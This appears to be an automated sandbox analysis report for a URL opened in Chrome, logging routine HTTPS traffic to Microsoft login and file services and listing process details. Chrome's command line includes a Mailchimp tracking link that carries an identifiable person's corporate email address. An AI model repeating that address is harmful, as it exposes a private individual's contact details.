67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

93 192.168.2.5 49859 40.126.32.140 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:19 UTC 1806 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 1
0.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 3592
Host: login.live.com

2022-07-01 09:01:19 UTC 1806 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2022-07-01 09:01:19 UTC 1810 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Fri, 01 Jul 2022 09:00:19 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 804a2b88-8f03-4cf8-9751-8b1693d8da1f
PPServer: PPV: 30 H: BL02PFACB7B875B V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Fri, 01 Jul 2022 09:01:18 GMT
Connection: close
Content-Length: 11300
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2022-07-01 09:01:19 UTC 1810 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

94 192.168.2.5 49858 23.213.164.66 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:19 UTC 1821 OUT HEAD /fs/windows/config.json HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
User-Agent: Microsoft BITS/7.8
Host: fs.microsoft.com

2022-07-01 09:01:19 UTC 1822 IN HTTP/1.1 200 OK
Content-Type: application/octet-stream
Last-Modified: Tue, 16 May 2017 22:58:00 GMT
ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7"
ApiVersion: Distribute 1.1
Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json
X-Azure-Ref: 0CTy+YgAAAAAxe6tvFp2kQZRKtWO6FIDtTE9OMjFFREdFMTgxNwBjZWZjMjU4My1hOWIyLTQ0YTct
OTc1NS1iNzZkMTdlMDVmN2Y=
Cache-Control: public, max-age=227514
Date: Fri, 01 Jul 2022 09:01:19 GMT
Connection: close
X-CID: 2

Session ID Source IP Source Port Destination IP
Destination
Port

Process

95 192.168.2.5 49860 40.126.32.140 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:19 UTC 1822 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 1
0.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4740
Host: login.live.com

2022-07-01 09:01:19 UTC 1822 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1
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2022-07-01 09:01:19 UTC 1832 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Fri, 01 Jul 2022 09:00:19 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 3c53451d-bfaf-4808-ad3f-ff5e31d1be2a
PPServer: PPV: 30 H: BL02PF629C81F9E V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Fri, 01 Jul 2022 09:01:19 GMT
Connection: close
Content-Length: 1962

2022-07-01 09:01:19 UTC 1832 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

96 192.168.2.5 49861 40.126.32.140 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:19 UTC 1827 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 1
0.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 3592
Host: login.live.com

2022-07-01 09:01:19 UTC 1827 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2022-07-01 09:01:19 UTC 1834 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Fri, 01 Jul 2022 09:00:19 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: ab7d5d65-3c81-4771-b39e-dd343fbeda10
PPServer: PPV: 30 H: BL02EPF0000684C V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Fri, 01 Jul 2022 09:01:18 GMT
Connection: close
Content-Length: 11300

2022-07-01 09:01:19 UTC 1835 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

97 192.168.2.5 49862 23.213.164.66 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:19 UTC 1831 OUT GET /fs/windows/config.json HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT
Range: bytes=0-2147483646
User-Agent: Microsoft BITS/7.8
Host: fs.microsoft.com

2022-07-01 09:01:19 UTC 1831 IN HTTP/1.1 200 OK
Content-Type: application/octet-stream
Last-Modified: Tue, 16 May 2017 22:58:00 GMT
ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7"
ApiVersion: Distribute 1.1
Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json
X-Azure-Ref: 0VeCoYgAAAABR/Z6+30B1RLQsXmQnL8CBTE9OMjFFREdFMDIxMQBjZWZjMjU4My1hOWIyLTQ0YTct
OTc1NS1iNzZkMTdlMDVmN2Y=
Cache-Control: public, max-age=227661
Date: Fri, 01 Jul 2022 09:01:19 GMT
Content-Length: 55
Connection: close
X-CID: 2

2022-07-01 09:01:19 UTC 1832 IN Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 
2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d 
Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID Source IP Source Port Destination IP
Destination
Port

Process

98 192.168.2.5 49863 40.126.32.140 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:19 UTC 1846 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 1
0.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4740
Host: login.live.com

2022-07-01 09:01:19 UTC 1846 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2022-07-01 09:01:20 UTC 1867 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Fri, 01 Jul 2022 09:00:19 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 78ab779d-af07-4ed4-9bdb-e46536c8831e
PPServer: PPV: 30 H: BL02PF1C4CFE964 V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Fri, 01 Jul 2022 09:01:19 GMT
Connection: close
Content-Length: 11320
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2022-07-01 09:01:20 UTC 1868 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

99 192.168.2.5 49864 20.190.159.71 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:19 UTC 1851 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 
10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4659
Host: login.live.com

2022-07-01 09:01:19 UTC 1851 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2022-07-01 09:01:20 UTC 1856 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Fri, 01 Jul 2022 09:00:20 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 6835e7e0-4a32-411a-ab5d-753e39aa36ed
PPServer: PPV: 30 H: BL6PPFE6AB0B8BD V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Fri, 01 Jul 2022 09:01:19 GMT
Connection: close
Content-Length: 10813

2022-07-01 09:01:20 UTC 1856 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Statistics

Behavior
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• chrome.exe

• chrome.exe

Click to jump to process

Target ID: 0

Start time: 11:00:37

Start date: 01/07/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation  "https://gmail.us14.list-manage.com/track/click?u=957e6b
6833ddd63bbe471b4e4&id=18858b02d6&e=7ce018b90e#*giangaddo.prati@barilla.com*

Imagebase: 0x7ff6a7220000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: low

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Completion Count Source Address Symbol

Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

Key Path Completion Count Source Address Symbol

Key Path Name Type Data Completion Count Source Address Symbol

Key Path Name Type Old Data New Data Completion Count
Source
Address

Symbol

System Behavior

Analysis Process: chrome.exe PID: 6004, Parent PID: 3468

General

File Activities

Registry Activities
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Target ID: 3

Start time: 11:00:39

Start date: 01/07/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1644,98245
43988290587951,10821341976103592091,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-
handle=1920 /prefetch:8

Imagebase: 0x7ff6a7220000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: low

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Completion Count Source Address Symbol

Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

⊘ No disassembly

Analysis Process: chrome.exe PID: 4552, Parent PID: 6004

General

File Activities

Disassembly
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